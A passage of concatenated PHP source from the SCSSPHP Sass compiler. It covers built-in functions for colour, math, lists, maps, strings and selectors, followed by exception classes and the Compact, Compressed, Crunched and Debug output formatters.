$color[1] = 255 - $color[1];
$color[2] = 255 - $color[2];
$color[3] = 255 - $color[3];
return $color;
}
// increases opacity by amount
protected static $libOpacify = ['color', 'amount'];
protected function libOpacify($args)
{
$color = $this->assertColor($args[0]);
$amount = $this->coercePercent($args[1]);
$color[4] = (isset($color[4]) ? $color[4] : 1) + $amount;
$color[4] = min(1, max(0, $color[4]));
return $color;
}
protected static $libFadeIn = ['color', 'amount'];
protected function libFadeIn($args)
{
return $this->libOpacify($args);
}
// decreases opacity by amount
protected static $libTransparentize = ['color',
'amount'];
protected function libTransparentize($args)
{
$color = $this->assertColor($args[0]);
$amount = $this->coercePercent($args[1]);
$color[4] = (isset($color[4]) ? $color[4] : 1) - $amount;
$color[4] = min(1, max(0, $color[4]));
return $color;
}
protected static $libFadeOut = ['color', 'amount'];
protected function libFadeOut($args)
{
return $this->libTransparentize($args);
}
protected static $libUnquote = ['string'];
protected function libUnquote($args)
{
$str = $args[0];
if ($str[0] === Type::T_STRING) {
$str[1] = '';
}
return $str;
}
protected static $libQuote = ['string'];
protected function libQuote($args)
{
$value = $args[0];
if ($value[0] === Type::T_STRING && ! empty($value[1])) {
return $value;
}
return [Type::T_STRING, '"', [$value]];
}
protected static $libPercentage = ['value'];
protected function libPercentage($args)
{
return new Node\Number($this->coercePercent($args[0]) * 100,
'%');
}
protected static $libRound = ['value'];
protected function libRound($args)
{
$num = $args[0];
return new Node\Number(round($num[1]), $num[2]);
}
protected static $libFloor = ['value'];
protected function libFloor($args)
{
$num = $args[0];
return new Node\Number(floor($num[1]), $num[2]);
}
protected static $libCeil = ['value'];
protected function libCeil($args)
{
$num = $args[0];
return new Node\Number(ceil($num[1]), $num[2]);
}
protected static $libAbs = ['value'];
protected function libAbs($args)
{
$num = $args[0];
return new Node\Number(abs($num[1]), $num[2]);
}
protected function libMin($args)
{
$numbers = $this->getNormalizedNumbers($args);
$min = null;
foreach ($numbers as $key => $number) {
if (null === $min || $number[1] <= $min[1]) {
$min = [$key, $number[1]];
}
}
return $args[$min[0]];
}
protected function libMax($args)
{
$numbers = $this->getNormalizedNumbers($args);
$max = null;
foreach ($numbers as $key => $number) {
if (null === $max || $number[1] >= $max[1]) {
$max = [$key, $number[1]];
}
}
return $args[$max[0]];
}
/**
* Helper to normalize args containing numbers
*
* @param array $args
*
* @return array
*/
protected function getNormalizedNumbers($args)
{
$unit = null;
$originalUnit = null;
$numbers = [];
foreach ($args as $key => $item) {
if ($item[0] !== Type::T_NUMBER) {
$this->throwError('%s is not a number',
$item[0]);
break;
}
$number = $item->normalize();
if (null === $unit) {
$unit = $number[2];
$originalUnit = $item->unitStr();
} elseif ($number[1] && $unit !== $number[2]) {
$this->throwError('Incompatible units:
"%s" and "%s".', $originalUnit,
$item->unitStr());
break;
}
$numbers[$key] = $number;
}
return $numbers;
}
protected static $libLength = ['list'];
protected function libLength($args)
{
$list = $this->coerceList($args[0]);
return count($list[2]);
}
//protected static $libListSeparator = ['list...'];
protected function libListSeparator($args)
{
if (count($args) > 1) {
return 'comma';
}
$list = $this->coerceList($args[0]);
if (count($list[2]) <= 1) {
return 'space';
}
if ($list[1] === ',') {
return 'comma';
}
return 'space';
}
protected static $libNth = ['list', 'n'];
protected function libNth($args)
{
$list = $this->coerceList($args[0]);
$n = $this->assertNumber($args[1]);
if ($n > 0) {
$n--;
} elseif ($n < 0) {
$n += count($list[2]);
}
return isset($list[2][$n]) ? $list[2][$n] : static::$defaultValue;
}
protected static $libSetNth = ['list', 'n',
'value'];
protected function libSetNth($args)
{
$list = $this->coerceList($args[0]);
$n = $this->assertNumber($args[1]);
if ($n > 0) {
$n--;
} elseif ($n < 0) {
$n += count($list[2]);
}
if (! isset($list[2][$n])) {
$this->throwError('Invalid argument for
"n"');
return null;
}
$list[2][$n] = $args[2];
return $list;
}
protected static $libMapGet = ['map', 'key'];
protected function libMapGet($args)
{
$map = $this->assertMap($args[0]);
$key =
$this->compileStringContent($this->coerceString($args[1]));
for ($i = count($map[1]) - 1; $i >= 0; $i--) {
if ($key ===
$this->compileStringContent($this->coerceString($map[1][$i]))) {
return $map[2][$i];
}
}
return static::$null;
}
protected static $libMapKeys = ['map'];
protected function libMapKeys($args)
{
$map = $this->assertMap($args[0]);
$keys = $map[1];
return [Type::T_LIST, ',', $keys];
}
protected static $libMapValues = ['map'];
protected function libMapValues($args)
{
$map = $this->assertMap($args[0]);
$values = $map[2];
return [Type::T_LIST, ',', $values];
}
protected static $libMapRemove = ['map', 'key'];
protected function libMapRemove($args)
{
$map = $this->assertMap($args[0]);
$key =
$this->compileStringContent($this->coerceString($args[1]));
for ($i = count($map[1]) - 1; $i >= 0; $i--) {
if ($key ===
$this->compileStringContent($this->coerceString($map[1][$i]))) {
array_splice($map[1], $i, 1);
array_splice($map[2], $i, 1);
}
}
return $map;
}
protected static $libMapHasKey = ['map', 'key'];
protected function libMapHasKey($args)
{
$map = $this->assertMap($args[0]);
$key =
$this->compileStringContent($this->coerceString($args[1]));
for ($i = count($map[1]) - 1; $i >= 0; $i--) {
if ($key ===
$this->compileStringContent($this->coerceString($map[1][$i]))) {
return true;
}
}
return false;
}
protected static $libMapMerge = ['map-1', 'map-2'];
protected function libMapMerge($args)
{
$map1 = $this->assertMap($args[0]);
$map2 = $this->assertMap($args[1]);
foreach ($map2[1] as $i2 => $key2) {
$key =
$this->compileStringContent($this->coerceString($key2));
foreach ($map1[1] as $i1 => $key1) {
if ($key ===
$this->compileStringContent($this->coerceString($key1))) {
$map1[2][$i1] = $map2[2][$i2];
continue 2;
}
}
$map1[1][] = $map2[1][$i2];
$map1[2][] = $map2[2][$i2];
}
return $map1;
}
protected static $libKeywords = ['args'];
protected function libKeywords($args)
{
$this->assertList($args[0]);
$keys = [];
$values = [];
foreach ($args[0][2] as $name => $arg) {
$keys[] = [Type::T_KEYWORD, $name];
$values[] = $arg;
}
return [Type::T_MAP, $keys, $values];
}
protected function listSeparatorForJoin($list1, $sep)
{
if (! isset($sep)) {
return $list1[1];
}
switch ($this->compileValue($sep)) {
case 'comma':
return ',';
case 'space':
return '';
default:
return $list1[1];
}
}
protected static $libJoin = ['list1', 'list2',
'separator'];
protected function libJoin($args)
{
list($list1, $list2, $sep) = $args;
$list1 = $this->coerceList($list1, ' ');
$list2 = $this->coerceList($list2, ' ');
$sep = $this->listSeparatorForJoin($list1, $sep);
return [Type::T_LIST, $sep, array_merge($list1[2], $list2[2])];
}
protected static $libAppend = ['list', 'val',
'separator'];
protected function libAppend($args)
{
list($list1, $value, $sep) = $args;
$list1 = $this->coerceList($list1, ' ');
$sep = $this->listSeparatorForJoin($list1, $sep);
return [Type::T_LIST, $sep, array_merge($list1[2], [$value])];
}
protected function libZip($args)
{
foreach ($args as $arg) {
$this->assertList($arg);
}
$lists = [];
$firstList = array_shift($args);
foreach ($firstList[2] as $key => $item) {
$list = [Type::T_LIST, '', [$item]];
foreach ($args as $arg) {
if (isset($arg[2][$key])) {
$list[2][] = $arg[2][$key];
} else {
break 2;
}
}
$lists[] = $list;
}
return [Type::T_LIST, ',', $lists];
}
protected static $libTypeOf = ['value'];
protected function libTypeOf($args)
{
$value = $args[0];
switch ($value[0]) {
case Type::T_KEYWORD:
if ($value === static::$true || $value === static::$false)
{
return 'bool';
}
if ($this->coerceColor($value)) {
return 'color';
}
// fall-thru
case Type::T_FUNCTION:
return 'string';
case Type::T_LIST:
if (isset($value[3]) && $value[3]) {
return 'arglist';
}
// fall-thru
default:
return $value[0];
}
}
protected static $libUnit = ['number'];
protected function libUnit($args)
{
$num = $args[0];
if ($num[0] === Type::T_NUMBER) {
return [Type::T_STRING, '"',
[$num->unitStr()]];
}
return '';
}
protected static $libUnitless = ['number'];
protected function libUnitless($args)
{
$value = $args[0];
return $value[0] === Type::T_NUMBER &&
$value->unitless();
}
protected static $libComparable = ['number-1',
'number-2'];
protected function libComparable($args)
{
list($number1, $number2) = $args;
if (! isset($number1[0]) || $number1[0] !== Type::T_NUMBER ||
! isset($number2[0]) || $number2[0] !== Type::T_NUMBER
) {
$this->throwError('Invalid argument(s) for
"comparable"');
return null;
}
$number1 = $number1->normalize();
$number2 = $number2->normalize();
return $number1[2] === $number2[2] || $number1->unitless() ||
$number2->unitless();
}
protected static $libStrIndex = ['string',
'substring'];
protected function libStrIndex($args)
{
$string = $this->coerceString($args[0]);
$stringContent = $this->compileStringContent($string);
$substring = $this->coerceString($args[1]);
$substringContent = $this->compileStringContent($substring);
$result = strpos($stringContent, $substringContent);
return $result === false ? static::$null : new Node\Number($result
+ 1, '');
}
protected static $libStrInsert = ['string',
'insert', 'index'];
protected function libStrInsert($args)
{
$string = $this->coerceString($args[0]);
$stringContent = $this->compileStringContent($string);
$insert = $this->coerceString($args[1]);
$insertContent = $this->compileStringContent($insert);
list(, $index) = $args[2];
$string[2] = [substr_replace($stringContent, $insertContent, $index
- 1, 0)];
return $string;
}
protected static $libStrLength = ['string'];
protected function libStrLength($args)
{
$string = $this->coerceString($args[0]);
$stringContent = $this->compileStringContent($string);
return new Node\Number(strlen($stringContent), '');
}
protected static $libStrSlice = ['string',
'start-at', 'end-at'];
protected function libStrSlice($args)
{
if (isset($args[2]) && $args[2][1] == 0) {
return static::$nullString;
}
$string = $this->coerceString($args[0]);
$stringContent = $this->compileStringContent($string);
$start = (int) $args[1][1];
if ($start > 0) {
$start--;
}
$end = (int) $args[2][1];
$length = $end < 0 ? $end + 1 : ($end > 0 ? $end - $start :
$end);
$string[2] = $length
? [substr($stringContent, $start, $length)]
: [substr($stringContent, $start)];
return $string;
}
protected static $libToLowerCase = ['string'];
protected function libToLowerCase($args)
{
$string = $this->coerceString($args[0]);
$stringContent = $this->compileStringContent($string);
$string[2] = [function_exists('mb_strtolower') ?
mb_strtolower($stringContent) : strtolower($stringContent)];
return $string;
}
protected static $libToUpperCase = ['string'];
protected function libToUpperCase($args)
{
$string = $this->coerceString($args[0]);
$stringContent = $this->compileStringContent($string);
$string[2] = [function_exists('mb_strtoupper') ?
mb_strtoupper($stringContent) : strtoupper($stringContent)];
return $string;
}
protected static $libFeatureExists = ['feature'];
protected function libFeatureExists($args)
{
$string = $this->coerceString($args[0]);
$name = $this->compileStringContent($string);
return $this->toBool(
array_key_exists($name, $this->registeredFeatures) ?
$this->registeredFeatures[$name] : false
);
}
protected static $libFunctionExists = ['name'];
protected function libFunctionExists($args)
{
$string = $this->coerceString($args[0]);
$name = $this->compileStringContent($string);
// user defined functions
if ($this->has(static::$namespaces['function'] .
$name)) {
return true;
}
$name = $this->normalizeName($name);
if (isset($this->userFunctions[$name])) {
return true;
}
// built-in functions
$f = $this->getBuiltinFunction($name);
return $this->toBool(is_callable($f));
}
protected static $libGlobalVariableExists = ['name'];
protected function libGlobalVariableExists($args)
{
$string = $this->coerceString($args[0]);
$name = $this->compileStringContent($string);
return $this->has($name, $this->rootEnv);
}
protected static $libMixinExists = ['name'];
protected function libMixinExists($args)
{
$string = $this->coerceString($args[0]);
$name = $this->compileStringContent($string);
return $this->has(static::$namespaces['mixin'] .
$name);
}
protected static $libVariableExists = ['name'];
protected function libVariableExists($args)
{
$string = $this->coerceString($args[0]);
$name = $this->compileStringContent($string);
return $this->has($name);
}
/**
* Workaround IE7's content counter bug.
*
* @param array $args
*
* @return array
*/
protected function libCounter($args)
{
$list = array_map([$this, 'compileValue'], $args);
return [Type::T_STRING, '', ['counter(' .
implode(',', $list) . ')']];
}
protected static $libRandom = ['limit'];
protected function libRandom($args)
{
if (isset($args[0])) {
$n = $this->assertNumber($args[0]);
if ($n < 1) {
$this->throwError("limit must be greater than or
equal to 1");
return null;
}
return new Node\Number(mt_rand(1, $n), '');
}
return new Node\Number(mt_rand(1, mt_getrandmax()), '');
}
protected function libUniqueId()
{
static $id;
if (! isset($id)) {
$id = mt_rand(0, pow(36, 8));
}
$id += mt_rand(0, 10) + 1;
return [Type::T_STRING, '', ['u' .
str_pad(base_convert($id, 10, 36), 8, '0', STR_PAD_LEFT)]];
}
protected static $libInspect = ['value'];
protected function libInspect($args)
{
if ($args[0] === static::$null) {
return [Type::T_KEYWORD, 'null'];
}
return $args[0];
}
/**
* Preprocess selector args
*
* @param array $arg
*
* @return array|boolean
*/
protected function getSelectorArg($arg)
{
static $parser = null;
if (is_null($parser)) {
$parser = $this->parserFactory(__METHOD__);
}
$arg = $this->libUnquote([$arg]);
$arg = $this->compileValue($arg);
$parsedSelector = [];
if ($parser->parseSelector($arg, $parsedSelector)) {
$selector = $this->evalSelectors($parsedSelector);
$gluedSelector = $this->glueFunctionSelectors($selector);
return $gluedSelector;
}
return false;
}
/**
* Postprocess selector to output in right format
*
* @param array $selectors
*
* @return string
*/
protected function formatOutputSelector($selectors)
{
$selectors = $this->collapseSelectors($selectors, true);
return $selectors;
}
protected static $libIsSuperselector = ['super',
'sub'];
protected function libIsSuperselector($args)
{
list($super, $sub) = $args;
$super = $this->getSelectorArg($super);
$sub = $this->getSelectorArg($sub);
return $this->isSuperSelector($super, $sub);
}
/**
* Test a $super selector again $sub
*
* @param array $super
* @param array $sub
*
* @return boolean
*/
protected function isSuperSelector($super, $sub)
{
// one and only one selector for each arg
if (! $super || count($super) !== 1) {
$this->throwError("Invalid super selector for
isSuperSelector()");
}
if (! $sub || count($sub) !== 1) {
$this->throwError("Invalid sub selector for
isSuperSelector()");
}
$super = reset($super);
$sub = reset($sub);
$i = 0;
$nextMustMatch = false;
foreach ($super as $node) {
$compound = '';
array_walk_recursive(
$node,
function ($value, $key) use (&$compound) {
$compound .= $value;
}
);
if ($this->isImmediateRelationshipCombinator($compound)) {
if ($node !== $sub[$i]) {
return false;
}
$nextMustMatch = true;
$i++;
} else {
while ($i < count($sub) && !
$this->isSuperPart($node, $sub[$i])) {
if ($nextMustMatch) {
return false;
}
$i++;
}
if ($i >= count($sub)) {
return false;
}
$nextMustMatch = false;
$i++;
}
}
return true;
}
/**
* Test a part of super selector again a part of sub selector
*
* @param array $superParts
* @param array $subParts
*
* @return boolean
*/
protected function isSuperPart($superParts, $subParts)
{
$i = 0;
foreach ($superParts as $superPart) {
while ($i < count($subParts) && $subParts[$i] !==
$superPart) {
$i++;
}
if ($i >= count($subParts)) {
return false;
}
$i++;
}
return true;
}
//protected static $libSelectorAppend = ['selector...'];
protected function libSelectorAppend($args)
{
if (count($args) < 1) {
$this->throwError("selector-append() needs at least 1
argument");
}
$selectors = array_map([$this, 'getSelectorArg'], $args);
return
$this->formatOutputSelector($this->selectorAppend($selectors));
}
/**
* Append parts of the last selector in the list to the previous,
recursively
*
* @param array $selectors
*
* @return array
*
* @throws \Leafo\ScssPhp\Exception\CompilerException
*/
protected function selectorAppend($selectors)
{
$lastSelectors = array_pop($selectors);
if (! $lastSelectors) {
$this->throwError("Invalid selector list in
selector-append()");
}
while (count($selectors)) {
$previousSelectors = array_pop($selectors);
if (! $previousSelectors) {
$this->throwError("Invalid selector list in
selector-append()");
}
// do the trick, happening $lastSelector to $previousSelector
$appended = [];
foreach ($lastSelectors as $lastSelector) {
$previous = $previousSelectors;
foreach ($lastSelector as $lastSelectorParts) {
foreach ($lastSelectorParts as $lastSelectorPart) {
foreach ($previous as $i => $previousSelector) {
foreach ($previousSelector as $j =>
$previousSelectorParts) {
$previous[$i][$j][] = $lastSelectorPart;
}
}
}
}
foreach ($previous as $ps) {
$appended[] = $ps;
}
}
$lastSelectors = $appended;
}
return $lastSelectors;
}
protected static $libSelectorExtend = ['selectors',
'extendee', 'extender'];
protected function libSelectorExtend($args)
{
list($selectors, $extendee, $extender) = $args;
$selectors = $this->getSelectorArg($selectors);
$extendee = $this->getSelectorArg($extendee);
$extender = $this->getSelectorArg($extender);
if (! $selectors || ! $extendee || ! $extender) {
$this->throwError("selector-extend() invalid
arguments");
}
$extended = $this->extendOrReplaceSelectors($selectors,
$extendee, $extender);
return $this->formatOutputSelector($extended);
}
protected static $libSelectorReplace = ['selectors',
'original', 'replacement'];
protected function libSelectorReplace($args)
{
list($selectors, $original, $replacement) = $args;
$selectors = $this->getSelectorArg($selectors);
$original = $this->getSelectorArg($original);
$replacement = $this->getSelectorArg($replacement);
if (! $selectors || ! $original || ! $replacement) {
$this->throwError("selector-replace() invalid
arguments");
}
$replaced = $this->extendOrReplaceSelectors($selectors,
$original, $replacement, true);
return $this->formatOutputSelector($replaced);
}
/**
* Extend/replace in selectors
* used by selector-extend and selector-replace that use the same logic
*
* @param array $selectors
* @param array $extendee
* @param array $extender
* @param boolean $replace
*
* @return array
*/
protected function extendOrReplaceSelectors($selectors, $extendee,
$extender, $replace = false)
{
$saveExtends = $this->extends;
$saveExtendsMap = $this->extendsMap;
$this->extends = [];
$this->extendsMap = [];
foreach ($extendee as $es) {
// only use the first one
$this->pushExtends(reset($es), $extender, null);
}
$extended = [];
foreach ($selectors as $selector) {
if (! $replace) {
$extended[] = $selector;
}
$n = count($extended);
$this->matchExtends($selector, $extended);
// if didnt match, keep the original selector if we are in a
replace operation
if ($replace and count($extended) === $n) {
$extended[] = $selector;
}
}
$this->extends = $saveExtends;
$this->extendsMap = $saveExtendsMap;
return $extended;
}
//protected static $libSelectorNest = ['selector...'];
protected function libSelectorNest($args)
{
if (count($args) < 1) {
$this->throwError("selector-nest() needs at least 1
argument");
}
$selectorsMap = array_map([$this, 'getSelectorArg'],
$args);
$envs = [];
foreach ($selectorsMap as $selectors) {
$env = new Environment();
$env->selectors = $selectors;
$envs[] = $env;
}
$envs = array_reverse($envs);
$env = $this->extractEnv($envs);
$outputSelectors = $this->multiplySelectors($env);
return $this->formatOutputSelector($outputSelectors);
}
protected static $libSelectorParse = ['selectors'];
protected function libSelectorParse($args)
{
$selectors = reset($args);
$selectors = $this->getSelectorArg($selectors);
return $this->formatOutputSelector($selectors);
}
protected static $libSelectorUnify = ['selectors1',
'selectors2'];
protected function libSelectorUnify($args)
{
list($selectors1, $selectors2) = $args;
$selectors1 = $this->getSelectorArg($selectors1);
$selectors2 = $this->getSelectorArg($selectors2);
if (! $selectors1 || ! $selectors2) {
$this->throwError("selector-unify() invalid
arguments");
}
// only consider the first compound of each
$compound1 = reset($selectors1);
$compound2 = reset($selectors2);
// unify them and that's it
$unified = $this->unifyCompoundSelectors($compound1,
$compound2);
return $this->formatOutputSelector($unified);
}
/**
* The selector-unify magic as its best
* (at least works as expected on test cases)
*
* @param array $compound1
* @param array $compound2
* @return array|mixed
*/
protected function unifyCompoundSelectors($compound1, $compound2)
{
if (! count($compound1)) {
return $compound2;
}
if (! count($compound2)) {
return $compound1;
}
// check that last part are compatible
$lastPart1 = array_pop($compound1);
$lastPart2 = array_pop($compound2);
$last = $this->mergeParts($lastPart1, $lastPart2);
if (! $last) {
return [[]];
}
$unifiedCompound = [$last];
$unifiedSelectors = [$unifiedCompound];
// do the rest
while (count($compound1) || count($compound2)) {
$part1 = end($compound1);
$part2 = end($compound2);
if ($part1 && ($match2 =
$this->matchPartInCompound($part1, $compound2))) {
list($compound2, $part2, $after2) = $match2;
if ($after2) {
$unifiedSelectors =
$this->prependSelectors($unifiedSelectors, $after2);
}
$c = $this->mergeParts($part1, $part2);
$unifiedSelectors =
$this->prependSelectors($unifiedSelectors, [$c]);
$part1 = $part2 = null;
array_pop($compound1);
}
if ($part2 && ($match1 =
$this->matchPartInCompound($part2, $compound1))) {
list($compound1, $part1, $after1) = $match1;
if ($after1) {
$unifiedSelectors =
$this->prependSelectors($unifiedSelectors, $after1);
}
$c = $this->mergeParts($part2, $part1);
$unifiedSelectors =
$this->prependSelectors($unifiedSelectors, [$c]);
$part1 = $part2 = null;
array_pop($compound2);
}
$new = [];
if ($part1 && $part2) {
array_pop($compound1);
array_pop($compound2);
$s = $this->prependSelectors($unifiedSelectors,
[$part2]);
$new = array_merge($new, $this->prependSelectors($s,
[$part1]));
$s = $this->prependSelectors($unifiedSelectors,
[$part1]);
$new = array_merge($new, $this->prependSelectors($s,
[$part2]));
} elseif ($part1) {
array_pop($compound1);
$new = array_merge($new,
$this->prependSelectors($unifiedSelectors, [$part1]));
} elseif ($part2) {
array_pop($compound2);
$new = array_merge($new,
$this->prependSelectors($unifiedSelectors, [$part2]));
}
if ($new) {
$unifiedSelectors = $new;
}
}
return $unifiedSelectors;
}
/**
* Prepend each selector from $selectors with $parts
*
* @param array $selectors
* @param array $parts
*
* @return array
*/
protected function prependSelectors($selectors, $parts)
{
$new = [];
foreach ($selectors as $compoundSelector) {
array_unshift($compoundSelector, $parts);
$new[] = $compoundSelector;
}
return $new;
}
/**
* Try to find a matching part in a compound:
* - with same html tag name
* - with some class or id or something in common
*
* @param array $part
* @param array $compound
*
* @return array|boolean
*/
protected function matchPartInCompound($part, $compound)
{
$partTag = $this->findTagName($part);
$before = $compound;
$after = [];
// try to find a match by tag name first
while (count($before)) {
$p = array_pop($before);
if ($partTag && $partTag !== '*' &&
$partTag == $this->findTagName($p)) {
return [$before, $p, $after];
}
$after[] = $p;
}
// try again matching a non empty intersection and a compatible
tagname
$before = $compound;
$after = [];
while (count($before)) {
$p = array_pop($before);
if ($this->checkCompatibleTags($partTag,
$this->findTagName($p))) {
if (count(array_intersect($part, $p))) {
return [$before, $p, $after];
}
}
$after[] = $p;
}
return false;
}
/**
* Merge two part list taking care that
* - the html tag is coming first - if any
* - the :something are coming last
*
* @param array $parts1
* @param array $parts2
*
* @return array
*/
protected function mergeParts($parts1, $parts2)
{
$tag1 = $this->findTagName($parts1);
$tag2 = $this->findTagName($parts2);
$tag = $this->checkCompatibleTags($tag1, $tag2);
// not compatible tags
if ($tag === false) {
return [];
}
if ($tag) {
if ($tag1) {
$parts1 = array_diff($parts1, [$tag1]);
}
if ($tag2) {
$parts2 = array_diff($parts2, [$tag2]);
}
}
$mergedParts = array_merge($parts1, $parts2);
$mergedOrderedParts = [];
foreach ($mergedParts as $part) {
if (strpos($part, ':') === 0) {
$mergedOrderedParts[] = $part;
}
}
$mergedParts = array_diff($mergedParts, $mergedOrderedParts);
$mergedParts = array_merge($mergedParts, $mergedOrderedParts);
if ($tag) {
array_unshift($mergedParts, $tag);
}
return $mergedParts;
}
/**
* Check the compatibility between two tag names:
* if both are defined they should be identical or one has to be
'*'
*
* @param string $tag1
* @param string $tag2
*
* @return array|boolean
*/
protected function checkCompatibleTags($tag1, $tag2)
{
$tags = [$tag1, $tag2];
$tags = array_unique($tags);
$tags = array_filter($tags);
if (count($tags)>1) {
$tags = array_diff($tags, ['*']);
}
// not compatible nodes
if (count($tags)>1) {
return false;
}
return $tags;
}
/**
* Find the html tag name in a selector parts list
*
* @param array $parts
*
* @return mixed|string
*/
protected function findTagName($parts)
{
foreach ($parts as $part) {
if (! preg_match('/^[\[.:#%_-]/', $part)) {
return $part;
}
}
return '';
}
protected static $libSimpleSelectors = ['selector'];
protected function libSimpleSelectors($args)
{
$selector = reset($args);
$selector = $this->getSelectorArg($selector);
// remove selectors list layer, keeping the first one
$selector = reset($selector);
// remove parts list layer, keeping the first part
$part = reset($selector);
$listParts = [];
foreach ($part as $p) {
$listParts[] = [Type::T_STRING, '', [$p]];
}
return [Type::T_LIST, ',', $listParts];
}
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp\Exception;
/**
* Compiler exception
*
* @author Oleksandr Savchenko <traveltino@gmail.com>
*/
class CompilerException extends \Exception
{
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp\Exception;
/**
* Parser Exception
*
* @author Oleksandr Savchenko <traveltino@gmail.com>
*/
class ParserException extends \Exception
{
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp\Exception;
/**
* Range exception
*
* @author Anthon Pang <anthon.pang@gmail.com>
*/
class RangeException extends \Exception
{
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp\Exception;
/**
* Server Exception
*
* @author Anthon Pang <anthon.pang@gmail.com>
*/
class ServerException extends \Exception
{
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp\Formatter;
use Leafo\ScssPhp\Formatter;
/**
* Compact formatter
*
* @author Leaf Corcoran <leafot@gmail.com>
*/
class Compact extends Formatter
{
/**
* {@inheritdoc}
*/
public function __construct()
{
$this->indentLevel = 0;
$this->indentChar = '';
$this->break = '';
$this->open = ' {';
$this->close = "}\n\n";
$this->tagSeparator = ',';
$this->assignSeparator = ':';
$this->keepSemicolons = true;
}
/**
* {@inheritdoc}
*/
public function indentStr()
{
return ' ';
}
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp\Formatter;
use Leafo\ScssPhp\Formatter;
use Leafo\ScssPhp\Formatter\OutputBlock;
/**
* Compressed formatter
*
* @author Leaf Corcoran <leafot@gmail.com>
*/
class Compressed extends Formatter
{
/**
* {@inheritdoc}
*/
public function __construct()
{
$this->indentLevel = 0;
$this->indentChar = ' ';
$this->break = '';
$this->open = '{';
$this->close = '}';
$this->tagSeparator = ',';
$this->assignSeparator = ':';
$this->keepSemicolons = false;
}
/**
* {@inheritdoc}
*/
public function blockLines(OutputBlock $block)
{
$inner = $this->indentStr();
$glue = $this->break . $inner;
foreach ($block->lines as $index => $line) {
if (substr($line, 0, 2) === '/*' &&
substr($line, 2, 1) !== '!') {
unset($block->lines[$index]);
} elseif (substr($line, 0, 3) === '/*!') {
$block->lines[$index] = '/*' . substr($line,
3);
}
}
$this->write($inner . implode($glue, $block->lines));
if (! empty($block->children)) {
$this->write($this->break);
}
}
/**
* Output block selectors
*
* @param \Leafo\ScssPhp\Formatter\OutputBlock $block
*/
protected function blockSelectors(OutputBlock $block)
{
$inner = $this->indentStr();
$this->write(
$inner
. implode(
$this->tagSeparator,
str_replace([' > ', ' + ', ' ~
'], ['>', '+', '~'],
$block->selectors)
)
. $this->open . $this->break
);
}
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp\Formatter;
use Leafo\ScssPhp\Formatter;
use Leafo\ScssPhp\Formatter\OutputBlock;
/**
* Crunched formatter
*
* @author Anthon Pang <anthon.pang@gmail.com>
*/
class Crunched extends Formatter
{
/**
* {@inheritdoc}
*/
public function __construct()
{
$this->indentLevel = 0;
$this->indentChar = ' ';
$this->break = '';
$this->open = '{';
$this->close = '}';
$this->tagSeparator = ',';
$this->assignSeparator = ':';
$this->keepSemicolons = false;
}
/**
* {@inheritdoc}
*/
public function blockLines(OutputBlock $block)
{
$inner = $this->indentStr();
$glue = $this->break . $inner;
foreach ($block->lines as $index => $line) {
if (substr($line, 0, 2) === '/*') {
unset($block->lines[$index]);
}
}
$this->write($inner . implode($glue, $block->lines));
if (! empty($block->children)) {
$this->write($this->break);
}
}
/**
* Output block selectors
*
* @param \Leafo\ScssPhp\Formatter\OutputBlock $block
*/
protected function blockSelectors(OutputBlock $block)
{
$inner = $this->indentStr();
$this->write(
$inner
. implode(
$this->tagSeparator,
str_replace([' > ', ' + ', ' ~
'], ['>', '+', '~'],
$block->selectors)
)
. $this->open . $this->break
);
}
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp\Formatter;
use Leafo\ScssPhp\Formatter;
use Leafo\ScssPhp\Formatter\OutputBlock;
/**
* Debug formatter
*
* @author Anthon Pang <anthon.pang@gmail.com>
*/
class Debug extends Formatter
{
/**
* {@inheritdoc}
*/
public function __construct()
{
$this->indentLevel = 0;
$this->indentChar = '';
$this->break = "\n";
$this->open = ' {';
$this->close = ' }';
$this->tagSeparator = ', ';
$this->assignSeparator = ': ';
$this->keepSemicolons = true;
}
/**
* {@inheritdoc}
*/
protected function indentStr()
{
return str_repeat(' ', $this->indentLevel);
}
/**
* {@inheritdoc}
*/
protected function blockLines(OutputBlock $block)
{
$indent = $this->indentStr();
if (empty($block->lines)) {
$this->write("{$indent}block->lines: []\n");
return;
}
foreach ($block->lines as $index => $line) {
$this->write("{$indent}block->lines[{$index}]:
$line\n");
}
}
/**
* {@inheritdoc}
*/
protected function blockSelectors(OutputBlock $block)
{
$indent = $this->indentStr();
if (empty($block->selectors)) {
$this->write("{$indent}block->selectors:
[]\n");
return;
}
foreach ($block->selectors as $index => $selector) {
$this->write("{$indent}block->selectors[{$index}]:
$selector\n");
}
}
/**
* {@inheritdoc}
*/
protected function blockChildren(OutputBlock $block)
{
$indent = $this->indentStr();
if (empty($block->children)) {
$this->write("{$indent}block->children: []\n");
return;
}
$this->indentLevel++;
foreach ($block->children as $i => $child) {
$this->block($child);
}
$this->indentLevel--;
}
/**
* {@inheritdoc}
*/
protected function block(OutputBlock $block)
{
$indent = $this->indentStr();
$this->write("{$indent}block->type:
{$block->type}\n" .
"{$indent}block->depth: {$block->depth}\n");
$this->currentBlock = $block;
$this->blockSelectors($block);
$this->blockLines($block);
$this->blockChildren($block);
}
}
<?php
/**
* SCSSPHP
